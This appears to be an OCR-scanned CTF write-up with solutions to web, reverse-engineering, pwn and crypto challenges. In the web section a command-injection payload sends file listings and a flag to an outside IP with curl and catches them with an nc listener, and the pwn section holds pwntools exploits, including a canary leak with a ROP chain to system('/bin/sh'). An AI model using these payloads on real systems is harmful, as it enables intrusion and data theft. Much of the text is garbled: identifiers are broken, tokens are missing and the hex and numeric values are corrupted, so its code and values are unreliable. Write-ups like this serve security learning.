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F12, #%, base64f#ig
EZwww

url & JE Inwww.zip & 31| JE 7Y

$_POST['a'];
base64 decode(
$key2)

POST/£2a=syclOver

highlight file(__ FILE_ );

$_GET[ 15
$_POST[ 15
if ($username

$username
$passwd
$passwd
echo $flag;

getftusername=admin,POST4£passwd=syclover

Welcome

burpsuite ML IEGETH HPOST

<?php
error_reporting(9);
if ($_SERVER[
header(
exit();

} else {

if (!isset($_POST][ D
show_source(__FILE_);

isset($_POST[

1
J

else if ($_POST[
phpinfo();

$_POST[

POST/roam1[]=1&roam2[]=2, £ F|phpinfo

D

shal($_POST[ 1 shal($_POST[

auto_prepend file

Svarfwww/html/f1444aagggg.php

urlJ5 T inf1444aagggg.php A burpsuite i fsend to repeaterf-send

EZgit



Hgithacker

python GitHacker.py http://47.100.46.169:3902/.git/

: # git log
commit bd83925c793fafc3aedad7585175ad03852eaas5d ( master)
Author: Lola39 <1353714565@qq.com>
Date: Sat Sep 26 23:38:26 2020 +0800

toooo old

commit 3796466675aldb323e42170def92bee71344a2ee
Author: Lola39 <1353714565@qq.com=>
Date: Sat Sep 26 23:37:00 2020 +0800

flag
- # git reset --hard 3796466675aldb323e42170def92bee71344a2ee
HEAD Bl 7£ fii T 3796466 flag
- # cat fl4g.php

<?php 'SYC{I 10Ove syclOver 10l}' ?>
A =]
BRKEXR

url# J& fnliuzhuang.php.bak

Vgl bzt
URLithdE * http://39.106.144.160: 100/liuzhuang.php
HEEER ¢ liuzhuang

TEAR H F3R 3 T flag

ezbypass

Please use a GET request to pass in the variables a and b, compare them with strcmp and let stremp return a value of NULL.

Note that a and b cannot be equal.

GETf%a[]=1&b=1
OKOK,You got the first step.
Please POST a variable ¢ that is not a number to make it equal to 123

POSTf£c=123a

X I phpE 2

47.94.239.194:8082/1istdir.php?dirname=IN;curl 175.24.81.163:14444 -d " find name flag"




root@vM-0-9-ubuntu:~# nc -1lvp 14444

Listening on [0.0.0.0] (family @, port 14444)
Connection from 47.94.239.194 55152 received!
POST / HTTP/1.1

Host: 175.24.81.163:14444

User-Agent: curl/7.58.0

Accept: */*

Content-Length: 31

Content-Type: application/x-www-form-urlencoded

/Flagggggggggggggg_ls_here/FlagDhmwmmﬂMmmmmm%m@%

47.94.239.194:8082/1istdir.php?dirname=IN;curl 175.24.81.163:14444 -d "cat /flagggggggggegegegegeg 1s_here/flag’

root@vM-0-9-ubuntu:~# nc -1lvp 14444

Listening on [0.0.0.0] (family @, port 14444)
Connection from 47.94.239.194 55164 received!
POST / HTTP/1.1

Host: 175.24.81.163:14444

User-Agent: curl/7.58.0

Accept: */*

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

SYC { Ma k 3_ZXT_S h * t_40 r eVe r }D hitps://blog.csdn.net/weixin_45883223
Re

No RE no gain

loc_4015EB:

call _EGG

mov [esp+20h+Str], offset aGreatHerelsYou

call _puts

mov [esp+20h+Str], offset aSycS4yHelloTh3

call _puts https:/blog.csdn.netweixin_45883223

REAHERI!

aSycFirstWine4D db 'SYC{First Win64 DRIVER}'




WhatsApk

#E#JEB, 7EResources3 M3k Kivalues U3 Kstrings xmisC 4 3 B T flag
HelloAndroid

HEHJEB, 7E74F 5 A E R SYCH f5flag

re00

if ( strlen(buf) == 32 )
{

puts(“nonono!");
exit(9);

¥

for (i =0; i <= 31; ++i )

{

if ( (char)(buf[i] ~ @x44) != byte_4060[i] )
{
puts(“wow, almost!");
exit(9);
}
}
puts(“"yes! you get it!");
return : https://blog.csdn.netiy
S Hibyte 4060%41

@ = [23, 29, 7, 63, 55, 45, 41, 52, 40, 33,
27, 55, 45, 41, 52, 4@, 33, 27, 60, 43,
54, 54, 54, 27, 54, 45,

123, 57]
for i in a:
print( (i”ex44),end )

maze



aUrNotOnTheWay db 'Ur not on the way!!",®©
aTttttttttttttt db "ttttttttttttttttttttqgl!!”",0

align
alostreamStream db 'iostream stream error',o

align

byte 42E820 db

a00000000000000 db 0_000000000 000 000 0000000000 000"
db 0 0000 00000 _00000000000000000 "
db ' 000000000000 _00000000000000000_00000 000000 _00000000000000000_00'
db '000 000000 0000000000S Eooooocoooo0000"’
db 'ooooooooocoocooocoooo’ 5 (% https:/blog.csdn.netiweixin_45883223

while ( 1 )
{

ve = v8[v2];
if ( v6e == 'a' )
break;
switch ( v6 )
{ ] ]
case :
vh -= 31;
goto LABEL 11;
case 's':
v += 31;
goto LABEL 11;
case 'd':
++Vv5;
goto LABEL 11;

}i[‘fps:.f'.f'hlEJl:_].CSEiH.HELf"v‘.fei}(in_45_3883223

Hello .NET

WpfAppCS .MainWindow
using System.Collections.Generic;
using System.Windows;

using System.Windows.Media;

private void Check( sender, RoutedEventArgs e)
{

string text InputBox.Text;

List new List OF

[1 array = new [22]

{

18,

14,

40,




86
s
num CL)s
while ( .Count < text.Length)
{
flag true;
for ( i 3; i
{
if (num
{
flag false;
break;
)i
)i
if (flag)

{
.Add(num) ;

2;

flag2 = true;

for (num Q; num text.Length num array.Length; num
{

if ( [num] text[num] array[num])

{

flag2 = false;

break;

}
}
if (text.Length array.Length flag2)
{

Status.Foreground new SolidColorBrush(Colors.Green);
Status.Text B
}
else
{

Status.Foreground new SolidColorBrush(Colors.Red);
Status.Text :

}
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from pwn import

context.log_level

remote(

p.recvuntil( (1)

temp p.recvline()

num_1 (temp[temp.find( )+8:temp.find(
num_2 (temp[temp.find( )+8:1])
p.sendline( (num_1+num_2))

runcode

char b,c[100];

int main()

i
FILE *fpl fopen(
fgets(c,100,fpl);
puts(c);
fgets(c,100,fpl);
puts(c);
fgets(c,100,fpl);
puts(c);
fclose(fpl);
return 0;

liuzhuang-secret

from pwn import

context.log level

p remote( ,1000)
payload ox78 p64(0x40079B)

p.sendlineafter( ,payload)

p.interactive()




baby_canary

from pwn import
context.log level
local (%]
if local fi%:
r=process(
gdb.attach(r,
else:
r=remote(
elf = ELF(
rdi 0x400873
system elf.symbols|[

binsh elf.search(

r.sendline(cyclic(0x68))

r.recvuntil( )

ub4(r.recv(8))-0xa

(canary)

(ub4d(r.recv(6) ))
r.sendline(cyclic(0x68)+p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system))

r.interactive()
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Crypto.Util.number import
gmpy2 import
secret import p,flag
bytes to_long( (flag,encoding
getPrime(1024)
qrp
(p-1)*(q-1)
0x10001
invert(e,phi )
(pow(flag, e, n))

print(long_to_bytes( (c, d, n)))
print((c,q,n))

177177672061025662936587345347268313127241651965256882323180749317515733256088163186914550682635245294414879
8628106547732076446872625964408700944093788493071884857557001387976510399364459984338305162076308587330905816435
92843521203499818069822504434370840254518614785953412492701730326524258672860416318501278155194
e 65537
q 166836705584681518148179737955842605213272207836752187845124149461151181903779374775281529346854786259719545
6991575088855008189940196181587082127778337684443276586473245550904592336577379509328950187664401199995133317077
59691054888319029069397903003240927552065429412176600134636921146805408664505115889561043
n 191051885543358947736760989661967468461742175898801910645529003886391047898839624568290216360845330501814019
7205703271976690643652686075971175989050468950976427080063731829899537582085230103451482004752575383366026952118
19055893667974317905617522838840325499754862033348148407978527792816186094297381925119601464149
p=n q
d gmpy2.invert(e, (p-1)*(qg-1))

m (c, d, n)
print(libnum.n2s(m))

i 52 05
https:/www.guballa.de/vigenere-solver
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from struct import
from gmpy2 import
def my parse number(number):

string number

erg = []
while string

erg = erg [ ( (string[:2], 16))]
string = string[2:]
return .join(erg)
extended_gcd(a, b):
Y 0, 1
lastx, lasty = 1, ©
while b:
a, (q, b) b, (a,b)
x, lastx = lastx-gq*x, x
y, lasty lasty-q*y, y
return (lastx, lasty, a)
def chinese_remainder_theorem(items):
N 1
for a, n in items:
N n
result = @
for a, n in items:
m N//n
r, s, d = extended_gcd(n, m)
if d
N=N/n

continue

result a*s*m
return result N, N

sessions=[{ : Oxff24bddc5a7b327535af92dba58c5d62a22d542e6baldf6191c98c7563d8e48e770fb623bfcc2f09ed49788293306f
£709670b225da32eal34422d5e403b11c39ef6bl441f96b2fe94b3aal36432eceal86a4069a4cbob4d8570edb3fb5bb2cf0693184ef0c58988
7b@12ebe6ead94e854a71a7eb768133d15e784e388976877db, 2 3 : 0xe096219878f492bcdb2a2d03995521e7a65125733baels|
e7d0005e35343fea3653698de60231d29b2d1b44a0b4f{fd3183855b90422751769e17021a8843062df0938821db0258af40ab3cda8e54ebf
2c826d545df91dfe76266cb@1bld6fad39e6efl13ce730c1c2395136bObbdf22c6bOdabab3701d71c6ae70d4e06935b9941},
{ : O0x89518283e2200bab1bf938ce3b5e42147b53a5178e436ea@b64a2380ba99776d5ba8046e1722858b20d9650ee68c09e905030116
34e0b32397b7b12236a5a301e5923a294ef1bdf16458f41c8677370ce2ce3dOfd957da7466e5b104191d45445591714713187b758c1c468d
b1b35514391e5b36bd1lac39e91bbb24fdbc07872, 2 35 : Oxa36bl5a395edf3e99927f658e22d5f4aefd83434972c96cca5242al
22a517ad83739451269723092dd9e73c00682dd3bbd74a985546def88196119b6d57b397283bc7b8b6029916d184284becl1725f6e5d3d290
12af685c508a58ab6fbdeS5bfeb326ae49330e3f4426abcl1860caddl2feb976ee571075a47b854c9a6f5f0ebff},
{ : O0x3bead3d6760bff4de22562978d4722bb21ee4792ebdb32703b6df9ff5176e033e97ad8fc81467f4b3df7bd4e8bcae@9462f3eca9
3a3dalcd9d7e8de3e464471fddOb70112c1c738b0daa2a37a65331e2a8954b81b41016220280da32eb3e305782d5F774d814cakadb133446
87387cf72657dc21724bcf69da810d7635b99467, 5 35 : 0x9d4732db2539d1166dc6865670bel11951bf49295bc8c472134682a0
fb7f2b3ba96dcfal945c2e4685dfeae5255abe2ab3b7+b2282971bb16ce02d14082F71755e8a65¢c956e114336914a409a9+1158fb362a92¢
Mel169fa3c460ea26tb5c6693447b14f1c3156a2d9308dd993d7ea708a00ad149fb77109d8a5f77del703ba249} |
data [1]
for session in sessions:

e=session| ]

n=session| ]

msg=session|[ ]

data = data [(msg, n)]

print( )

X, n = chinese remainder_theorem(data)
e=session| ]

realnum = iroot(mpz(x),e)[0].digits()
print(my_parse_number( (realnum)))
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